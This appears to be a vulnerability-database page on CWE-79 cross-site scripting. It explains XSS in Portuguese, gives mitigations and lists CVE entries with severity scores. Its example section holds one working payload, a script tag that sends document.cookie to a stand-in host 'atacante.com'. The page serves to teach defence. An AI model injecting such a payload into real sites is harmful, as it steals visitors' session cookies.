Fallos del tipo CWE-79

29.607 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-3337MEDIUMColibri Page Builder <= 1.0.272 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'colibri_breadcrumb_element' ShortcodeEPSS 0.4%CVE-2024-2126MEDIUMOrbit Fox by ThemeIsle <= 2.10.32 - Authenticated (Contributor+) Stored Cross-Site Scripiting via Registration Form WidgetEPSS 0.4%CVE-2024-0823MEDIUMExclusive Addons for Elementor <= 2.6.8 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-59832CRITICALHorrila Stored XSS Vulnerability via Ticket Comment sectionEPSS 0.4%CVE-2024-1466MEDIUMElementor Addons by Livemesh <= 8.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Posts Multislider WidgetEPSS 0.4%CVE-2022-44961MEDIUMwebtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /forums/editforum.php. This vulnerabilEPSS 0.4%CVE-2024-2181MEDIUMBeaver Builder Addons by WPZOOM <= 1.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button WidgetEPSS 0.4%CVE-2025-52187HIGHGetProjectsIdea Create School Management System 1.0 is vulnerable to Cross Site Scripting (XSS) in my_profile_update_form1.php.EPSS 0.4%CVE-2023-7044MEDIUMEssential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 5.9.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-3991MEDIUMShopLentor – WooCommerce Builder for Elementor & Gutenberg +12 Modules – All in One Solution (formerly WooLentor) <= 2.8.7 - Authenticated (contributor+) Stored Cross-Site Scripting via _idEPSS 0.4%CVE-2024-1464MEDIUMElementor Addons by Livemesh <= 8.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Posts Slider WidgetEPSS 0.4%CVE-2026-27599MEDIUMCI4MS: System Settings (Mail Settings) Full Platform Compromise & Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.4%CVE-2024-1413MEDIUMExclusive Addons for Elementor <= 2.6.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Countdown Timer WidgetEPSS 0.4%CVE-2026-33749MEDIUMn8n Vulnerable to XSS via Binary Data Inline HTML RenderingEPSS 0.4%CVE-2024-4092MEDIUMSlider Revolution <= 6.7.7 - Authenticated (Author+) Stored Cross-Site Scripting via htmltag ParameterEPSS 0.4%CVE-2024-1461MEDIUMElementor Addons by Livemesh <= 8.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Team Members WidgetEPSS 0.4%CVE-2024-1465MEDIUMElementor Addons by Livemesh <= 8.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Posts Carousel WidgetEPSS 0.4%CVE-2025-9222HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.4%CVE-2024-1171MEDIUMEssential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 5.9.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Filterable GalleryEPSS 0.4%CVE-2024-2183MEDIUMBeaver Builder Addons by WPZOOM <= 1.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Heading WidgetEPSS 0.4%